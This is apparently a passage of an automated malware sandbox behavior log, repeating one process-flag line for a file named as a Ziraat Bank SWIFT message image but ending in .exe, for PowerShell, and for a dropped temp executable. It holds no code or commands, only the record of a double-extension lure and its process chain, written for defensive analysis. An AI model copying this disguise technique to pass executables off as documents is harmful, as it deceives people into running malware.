              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
